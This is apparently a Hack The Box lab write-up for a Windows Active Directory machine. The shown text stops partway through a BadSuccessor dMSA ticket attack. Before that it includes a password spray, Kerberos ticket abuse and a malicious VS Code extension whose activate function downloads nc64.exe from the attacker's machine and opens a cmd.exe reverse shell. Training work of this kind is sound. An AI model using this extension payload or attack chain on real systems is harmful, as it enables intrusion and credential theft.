> m4rt@CTF_ARCHIVE:~$

Hack The Box / WINDOWS / 2026-10-24

Hack The Box — Checkpoint (Windows)

We restore a deleted user in the domain, and we find that it has the same password as the user we have credentials for. We write a malicious VS Code extension into a share, which gives us a reverse shell as another user. We find that this user has GenericWrite permissions on a service account, and we perform a BadSuccessor attack to impersonate it and get a shell. We use VMkatz to extract credentials from the files in the VMBackups share, which allows us to get a shell as the administrator.

Machine information

As is common in real life pentests, you will start the Checkpoint box with credentials for the following account alex.turner / Checkpoint2024!

Target

  • IP: 10.129.20.161

Port scan

sudo nmap -sC -sV 10.129.20.161 -p- -v
PORT      STATE SERVICE           VERSION
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-06-14 02:37:29Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf            .NET Message Framing
49664/tcp open  msrpc             Microsoft Windows RPC
49668/tcp open  msrpc             Microsoft Windows RPC
49670/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  msrpc             Microsoft Windows RPC
49674/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc             Microsoft Windows RPC
49704/tcp open  msrpc             Microsoft Windows RPC
49712/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Add checkpoint.htb to /etc/hosts.

Initial enumeration

Let's check smb:

nxc smb 10.129.20.161 -u 'alex.turner' -p 'Checkpoint2024!' --shares
SMB         10.129.20.161   445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.20.161   445    DC01             [+] checkpoint.htb\alex.turner:Checkpoint2024!
SMB         10.129.20.161   445    DC01             [*] Enumerated shares
SMB         10.129.20.161   445    DC01             Share           Permissions     Remark
SMB         10.129.20.161   445    DC01             -----           -----------     ------
SMB         10.129.20.161   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.20.161   445    DC01             C$                              Default share
SMB         10.129.20.161   445    DC01             DevDrop         READ            VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.20.161   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.20.161   445    DC01             NETLOGON        READ            Logon server share
SMB         10.129.20.161   445    DC01             SYSVOL          READ            Logon server share
SMB         10.129.20.161   445    DC01             VMBackups

Add dc01.checkpoint.htb to /etc/hosts.

We can get a list of users in the domain:

nxc smb dc01.checkpoint.htb -d checkpoint.htb -u 'alex.turner' -p 'Checkpoint2024!' --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users.txt

Let's connect to the DevDrop share:

smbclient -U alex.turner //10.129.20.161/DevDrop
# Insert the password: Checkpoint2024!
dir

It's empty. And we cannot upload files into it.

Let's enumerate the domain with bloodhound. First, we have to run a collector, for example rusthound. We need a kerberos ticket:

getTGT.py -dc-ip 10.129.20.161 checkpoint.htb/alex.turner:'Checkpoint2024!'
[*] Saving ticket in alex.turner.ccache
export KRB5CCNAME=alex.turner.ccache

Now edit /etc/krb5.conf and put / edit the following lines:

[libdefaults]
    default_realm = CHECKPOINT.HTB

[...]

[realms]
        CHECKPOINT.HTB = {
                kdc = dc01.checkpoint.htb
                admin_server = dc01.checkpoint.htb
        }

[...]

[domain_realm]
        .checkpoint.htb = CHECKPOINT.HTB
        checkpoint.htb = CHECKPOINT.HTB

Now we can run rusthound:

./rusthound -d checkpoint.htb -u alex.turner@checkpoint.htb -k -f dc01.checkpoint.htb -i 10.129.20.161 -n 10.129.20.161 --dns-tcp -z

A .zip file has been created. Let's run bloodhound. On Kali Linux you can run:

sudo bloodhound

However, looking at alex.turner in bloodhound, we don't see anything interesting. Let's use bloodyad to get the entities that alex.turner has write permissions on.

Download bloodyad (https://github.com/CravateRouge/bloodyAD), then run:

python3 bloodyAD/bloodyAD.py --host 'dc01.checkpoint.htb' -d checkpoint.htb --dc-ip 10.129.20.161 -u 'alex.turner' -k get writable
distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb
DACL: WRITE

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: OU=Employees,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=Alex Turner,OU=Employees,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb
permission: WRITE

distinguishedName: DC=checkpoint.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.checkpoint.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=checkpoint,DC=htb
permission: CREATE_CHILD

Restoring a deleted user

So it seems that alex.turner has write permissions on the Deleted Objects container. This means that we can restore deleted objects in the domain. We see that there is a deleted user Mark Davies. Let's try to restore it.

python3 bloodyAD/bloodyAD.py --host 'dc01.checkpoint.htb' -d checkpoint.htb --dc-ip 10.129.20.161 -u 'alex.turner' -k set restore 'CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb'
[+] CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

We have successfully restored the user Mark Davies. We have write permissions on him, thus we can perform a shadow credentials attack on him or a targeted kerberoasting attack. Both these attacks don't work.

Password spray

We can try spraying the password of alex.turner. We can use kerbrute (https://github.com/ropnop/kerbrute):

./kerbrute --dc dc01.checkpoint.htb -d checkpoint.htb -v passwordspray users.txt 'Checkpoint2024!'
2026/06/14 04:38:23 >  [+] VALID LOGIN:  alex.turner@checkpoint.htb:Checkpoint2024!
2026/06/14 04:38:24 >  [+] VALID LOGIN:  mark.davies@checkpoint.htb:Checkpoint2024!

So mark.davies has the same password as alex.turner. Let's grab a tgt for mark.davies:

getTGT.py -dc-ip 10.129.20.161 checkpoint.htb/mark.davies:'Checkpoint2024!'
[*] Saving ticket in mark.davies.ccache
export KRB5CCNAME=mark.davies.ccache

Now let's check the smb shares with the credentials of mark.davies:

nxc smb 10.129.20.161 -u 'mark.davies' -k --use-kcache --shares
SMB         10.129.20.161   445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:checkpoint.htb) (signing:True) (SMBv1:None)
SMB         10.129.20.161   445    DC01             [+] CHECKPOINT.HTB\mark.davies from ccache
SMB         10.129.20.161   445    DC01             [*] Enumerated shares
SMB         10.129.20.161   445    DC01             Share           Permissions            Remark
SMB         10.129.20.161   445    DC01             -----           -----------            ------
SMB         10.129.20.161   445    DC01             ADMIN$                                 Remote Admin
SMB         10.129.20.161   445    DC01             C$                                     Default share
SMB         10.129.20.161   445    DC01             DevDrop         READ,WRITE             VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0
SMB         10.129.20.161   445    DC01             IPC$            READ                   Remote IPC
SMB         10.129.20.161   445    DC01             NETLOGON        READ                   Logon server share
SMB         10.129.20.161   445    DC01             SYSVOL          READ                   Logon server share
SMB         10.129.20.161   445    DC01             VMBackups

Now we can write in the DevDrop share. The idea is to write a malicious extension for VS Code that runs a reverse shell.

Crafting a malicious VS Code extension

Let's craft a malicious extension:

npx --package yo --package generator-code -- yo code

An interactive setup wizard will appear. I filled it as follows:

  • Type of extension: New Extension (JavaScript)

  • Extension name: myextension

  • Identifier: myextension

In the package.json, edit the activation events to run the extension at startup:

  "activationEvents": [
      "onStartupFinished"
  ],

In the extension.js file, put:

const child_process = require('child_process');

[...]

function activate(context) {
    child_process.execSync('mkdir C:\\tmp');
    child_process.execSync('curl http://10.10.16.116:5555/nc64.exe -o C:\\tmp\\nc64.exe');
    child_process.execSync('C:\\tmp\\nc64.exe -e cmd.exe 10.10.16.116 4444');
[...]

Edit the Readme.md. Then, to create the vsix, run:

npm install -g @vscode/vsce
vsce package --allow-missing-repository
DONE  Packaged: /home/kali/tmp/checkpoint/myextension/myextension/myextension-0.0.1.vsix (6 files, 2.69 KB)

Now, download nc64.exe (https://github.com/int0x33/nc.exe/) and start a python http server to serve it:

python3 -m http.server 5555

Start a netcat listener for the reverse shell:

rlwrap nc -vlnp 4444

Now, connect to the remote share:

smbclient -U mark.davies //10.129.20.161/DevDrop
# Insert the password: Checkpoint2024!

Upload the malicious extension:

put myextension-0.0.1.vsix

Wait some time. We get a reverse shell.

whoami
checkpoint\ryan.brooks

We are now ryan.brooks.

From bloodhound we see that ryan.brooks has a GenericWrite relationship on svc_deploy.

To find if there are other interesting ACLs that ryan.brooks has, we can use the cmdlet Find-InterestingDomainACL from PowerView.ps1 (https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1).

Upload PowerView.ps1 on the target machine and run:

. .\PowerView.ps1
Find-InterestingDomainACL

We find these interesting ACLs:

ObjectDN                : OU=DMSAHolder,DC=checkpoint,DC=htb
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : CreateChild
ObjectAceType           : None
ContainerInherit        :
AceType                 : AccessAllowed
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-3129162710-3498938529-1807524340-1103
IdentityReferenceName   : ryan.brooks
IdentityReferenceDomain : checkpoint.htb
IdentityReferenceDN     : CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IdentityReferenceClass  : user

ObjectDN                : CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
AceQualifier            : AccessAllowed
ActiveDirectoryRights   : GenericWrite
ObjectAceType           : None
gs                : ContainerInherit
AceType                 : AccessAllowed
InheritanceFlags        : ContainerInherit
SecurityIdentifier      : S-1-5-21-3129162710-3498938529-1807524340-1103
IdentityReferenceName   : ryan.brooks
IdentityReferenceDomain : checkpoint.htb
IdentityReferenceDN     : CN=Ryan Brooks,OU=Employees,DC=checkpoint,DC=htb
IdentityReferenceClass  : user

So ryan.brooks has GenericWrite permissions on svc_deploy and has CreateChild permissions on the OU DMSAHolder. This OU seems related to dMSA accounts, so we could try to perform a BadSuccessor attack.

BadSuccessor attack

Firstly, let's check if the attack can be performed. We can use Get-BadSuccessorOUPermissions.ps1 from (https://github.com/akamai/BadSuccessor)

. .\Get-BadSuccessorOUPermissions.ps1
Get-BadSuccessorOUPermissions
Identity               OUs
--------               ---
CHECKPOINT\ryan.brooks {OU=DMSAHolder,DC=checkpoint,DC=htb}
CHECKPOINT\alex.turner {OU=Employees,DC=checkpoint,DC=htb}

So we can perform the attack. We can use SharpSuccessor.exe (https://github.com/logangoins/SharpSuccessor), which automates many steps of the attack. We would like to impersonate svc_deploy to perform the attack, because we have GenericWrite permissions on it and thus we can write the required attributes on it:

.\SharpSuccessor.exe add /impersonate:svc_deploy /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:attacker_dmsa
[+] Adding dnshostname attacker_dmsa.checkpoint.htb
[+] Adding samaccountname attacker_dmsa$
[+] svc_deploy's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=attacker_dmsa' in 'OU=DMSAHolder,DC=checkpoint,DC=htb'
[+] Successfully weaponized dMSA object
[+] Found target account, attempting to write attributes
[+] CN=attacker_dmsa,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object
[+] msDS-SupersededServiceAccountState set to 2
[+] Wrote to target account successfully

Now we follow the steps in the repository of SharpSuccessor:

.\Rubeus.exe tgtdeleg /nowrap
[*] base64(ticket.kirbi):

      doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRuMZPd3setl9RAp6Yk3m2Y5aKN0CvK3j3nxfh8UGUeU8i0Hmjho5LZMe/DF5IvYHnQZ8ipFuMlpxOTm9ni1F/6UGD/pITnUbPdQ2Ch2rXqSx2va1s14gtFu97M1iZ143Z5IIVq77a1Dn/Sw21rxzXFKMDx22IAj/0EyFqdshtwDJO1zwUmx/foD8FBV5+RV2k6oKAVNOoj2uK5WjWQvRB0oh6YiwwJfgqWpyl0Hb7HnPN2K8iIUsj7ZaAo7xYqrrxIZwdX6tKqba6+ZP5klhiJ2kkraMfasu51sAF6lbXfcePiMrnSjT78PVDrhZFTmcuKpRHAsPV4l7VwHDsudrNemr0mXppgWKoioIpAftSWrQsMagwkRs9X3J0QLVbgTaAghWMEu6+dyZiJk2V4T2axO9hrw0n33elNsM9zrFtLeMuR4kKPr7ZY08qES6LZOQ619mcYflG63Gvj170zzRMDLmYQfsF1Y1Q9YFhPLo5CflgLdmf+yceHYKHeFrvybO5DRnnpWMtHeUfi6SLIzSVke7XcW8MmLIObXjwLzNCVgfwLSB8RQYF8OJNB15lgGq+k5KPzREOopTQArqnTcv0TpL7LiZuCF2QVBQ6lU12vhYMURCOs2O0+EjEhgD3KkLXFSRw5GjSzTShJlXKGd+8u83j5tcXg0AUYlbPXkgORW4XQ4h9YE2YNBR3lZFHLtCzjGHrzpDaYSIODQy67iRNvnx2vLz1r/446HeZHFHQRNTNG/qSgxjR2Yj4U0tDX6+Xt2EJN28IbaNxQeT4RWhGvA7U99NGBnyAPJd2bqHuI+iNkXzD0z5RPz9IZmIwYbV65SUBipu7lPj06OM60auNVhLomytd4BSs9LqHggFzqhajx+TfU1Bi6VL7IdQNQK4uPmLOb3mZ8cCV+S4DvaxWp2NrOPZLgkbGcLkitmUTW69t99FiuyxgOGI2LTxqh8rop3eDrItH41UYuxHRatbIFHhvRqOOE5F5g5pOYucljRum+2hW29/Q6/D9NW3xhFzdvyKj/ne2+o5IhF0VGJSbTAdBH34Edphv8JLDa2DZkMfTWwA95YFeW6NhE0edyzLv2umVYmelqHW2ynOM/6UIMvzeLGKJWCu92JzxQJs9fggf/tD9QWbRwjjJCX+aK0fTnNVLcttWrEDE1/w758vO3cFv4djkVir/MFl4NuKnKHu7uVY6sSlLWqS0F2Mp9N4K/lQatrTMOTUZMxZwFUULhfM8JeBBwHyPYhflXJbQEqrbEBPuEottNso1xsfWQWCe5wlXp7hMlH3Y0TWrHIrmH8WKLuGfeTPhnz/uPnYGJkL8fNgFV64RHK9e6VBGWgbzhneNAFVdPFLujc0mq1N98k9TWSzT76sw7lVfHN2+8tBafAAF1M7G8EsdS3J8jTCUI2cIc/wCUFVxKd4mx8woc2DF86raDS5mX86sqVlLh3l6AJPTA5ZonGaPMdTP3wycVIZPFHINmlg50Ftn5L3jphpMm7/VXuidbrj9NDhNMo4HvMIHsoAMCAQCigeQEgeF9gd4wgduggdgwgdUwgdKgKzApoAMCARKhIgQgfcMcgB9RTsbY3/nkaXrkSc7tbI5pneTkjDMgpNUPJGShEBsOQ0hFQ0tQT0lOVC5IVEKiGDAWoAMCAQGhDzANGwtyeWFuLmJyb29rc6MHAwUAYKEAAKURGA8yMDI2MDYxNDIxMTIxOVqmERgPMjAyNjA2MTUwNzEyMTlapxEYDzIwMjYwNjIxMjExMjE5WqgQGw5DSEVDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI=
.\Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:"doIF1DCCBdCgAwIBBaEDAgEWooIE0DCCBMxhggTIMIIExKADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQqOCBIQwggSAoAMCARKhAwIBAqKCBHIEggRuMZPd3setl9RAp6Yk3m2Y5aKN0CvK3j3nxfh8UGUeU8i0Hmjho5LZMe/DF5IvYHnQZ8ipFuMlpxOTm9ni1F/6UGD/pITnUbPdQ2Ch2rXqSx2va1s14gtFu97M1iZ143Z5IIVq77a1Dn/Sw21rxzXFKMDx22IAj/0EyFqdshtwDJO1zwUmx/foD8FBV5+RV2k6oKAVNOoj2uK5WjWQvRB0oh6YiwwJfgqWpyl0Hb7HnPN2K8iIUsj7ZaAo7xYqrrxIZwdX6tKqba6+ZP5klhiJ2kkraMfasu51sAF6lbXfcePiMrnSjT78PVDrhZFTmcuKpRHAsPV4l7VwHDsudrNemr0mXppgWKoioIpAftSWrQsMagwkRs9X3J0QLVbgTaAghWMEu6+dyZiJk2V4T2axO9hrw0n33elNsM9zrFtLeMuR4kKPr7ZY08qES6LZOQ619mcYflG63Gvj170zzRMDLmYQfsF1Y1Q9YFhPLo5CflgLdmf+yceHYKHeFrvybO5DRnnpWMtHeUfi6SLIzSVke7XcW8MmLIObXjwLzNCVgfwLSB8RQYF8OJNB15lgGq+k5KPzREOopTQArqnTcv0TpL7LiZuCF2QVBQ6lU12vhYMURCOs2O0+EjEhgD3KkLXFSRw5GjSzTShJlXKGd+8u83j5tcXg0AUYlbPXkgORW4XQ4h9YE2YNBR3lZFHLtCzjGHrzpDaYSIODQy67iRNvnx2vLz1r/446HeZHFHQRNTNG/qSgxjR2Yj4U0tDX6+Xt2EJN28IbaNxQeT4RWhGvA7U99NGBnyAPJd2bqHuI+iNkXzD0z5RPz9IZmIwYbV65SUBipu7lPj06OM60auNVhLomytd4BSs9LqHggFzqhajx+TfU1Bi6VL7IdQNQK4uPmLOb3mZ8cCV+S4DvaxWp2NrOPZLgkbGcLkitmUTW69t99FiuyxgOGI2LTxqh8rop3eDrItH41UYuxHRatbIFHhvRqOOE5F5g5pOYucljRum+2hW29/Q6/D9NW3xhFzdvyKj/ne2+o5IhF0VGJSbTAdBH34Edphv8JLDa2DZkMfTWwA95YFeW6NhE0edyzLv2umVYmelqHW2ynOM/6UIMvzeLGKJWCu92JzxQJs9fggf/tD9QWbRwjjJCX+aK0fTnNVLcttWrEDE1/w758vO3cFv4djkVir/MFl4NuKnKHu7uVY6sSlLWqS0F2Mp9N4K/lQatrTMOTUZMxZwFUULhfM8JeBBwHyPYhflXJbQEqrbEBPuEottNso1xsfWQWCe5wlXp7hMlH3Y0TWrHIrmH8WKLuGfeTPhnz/uPnYGJkL8fNgFV64RHK9e6VBGWgbzhneNAFVdPFLujc0mq1N98k9TWSzT76sw7lVfHN2+8tBafAAF1M7G8EsdS3J8jTCUI2cIc/wCUFVxKd4mx8woc2DF86raDS5mX86sqVlLh3l6AJPTA5ZonGaPMdTP3wycVIZPFHINmlg50Ftn5L3jphpMm7/VXuidbrj9NDhNMo4HvMIHsoAMCAQCigeQEgeF9gd4wgduggdgwgdUwgdKgKzApoAMCARKhIgQgfcMcgB9RTsbY3/nkaXrkSc7tbI5pneTkjDMgpNUPJGShEBsOQ0hFQ0tQT0lOVC5IVEKiGDAWoAMCAQGhDzANGwtyeWFuLmJyb29rc6MHAwUAYKEAAKURGA8yMDI2MDYxNDIxMTIxOVqmERgPMjAyNjA2MTUwNzEyMTlapxEYDzIwMjYwNjIxMjExMjE5WqgQGw5DSEVDS1BPSU5ULkhUQqkjMCGgAwIBAqEaMBgbBmtyYnRndBsOQ0hFQ0tQT0lOVC5IVEI="
[*] base64(ticket.kirbi):

      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

  ServiceName              :  krbtgt/CHECKPOINT.HTB
  ServiceRealm             :  CHECKPOINT.HTB
  UserName                 :  attacker_dmsa$ (NT_PRINCIPAL)
  UserRealm                :  checkpoint.htb
  StartTime                :  6/14/2026 2:12:55 PM
  EndTime                  :  6/14/2026 2:27:55 PM
  RenewTill                :  6/21/2026 2:12:19 PM
  Flags                    :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  xRH8ZMjeiuKDmH1xhDO2fmcZk4qsBpAf6boc4OC9PcE=
  Current Keys for attacker_dmsa$: (aes256_cts_hmac_sha1) EFCA4B701086355F9A2B4A2C242539EDD1B146657BB6975117D947715863F8EF

Now we can request a tgs for a service. We can choose the cifs service on the domain controller. From bloodhound we see that svc_deploy is a member of the BackupAccess group, and there is a network share called VMBackups, so it is likely that svc_deploy has permissions to read the files in this share.

.\Rubeus.exe asktgs /user:attacker_dmsa$ /service:cifs/dc01.checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket:"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"
[*] base64(ticket.kirbi):

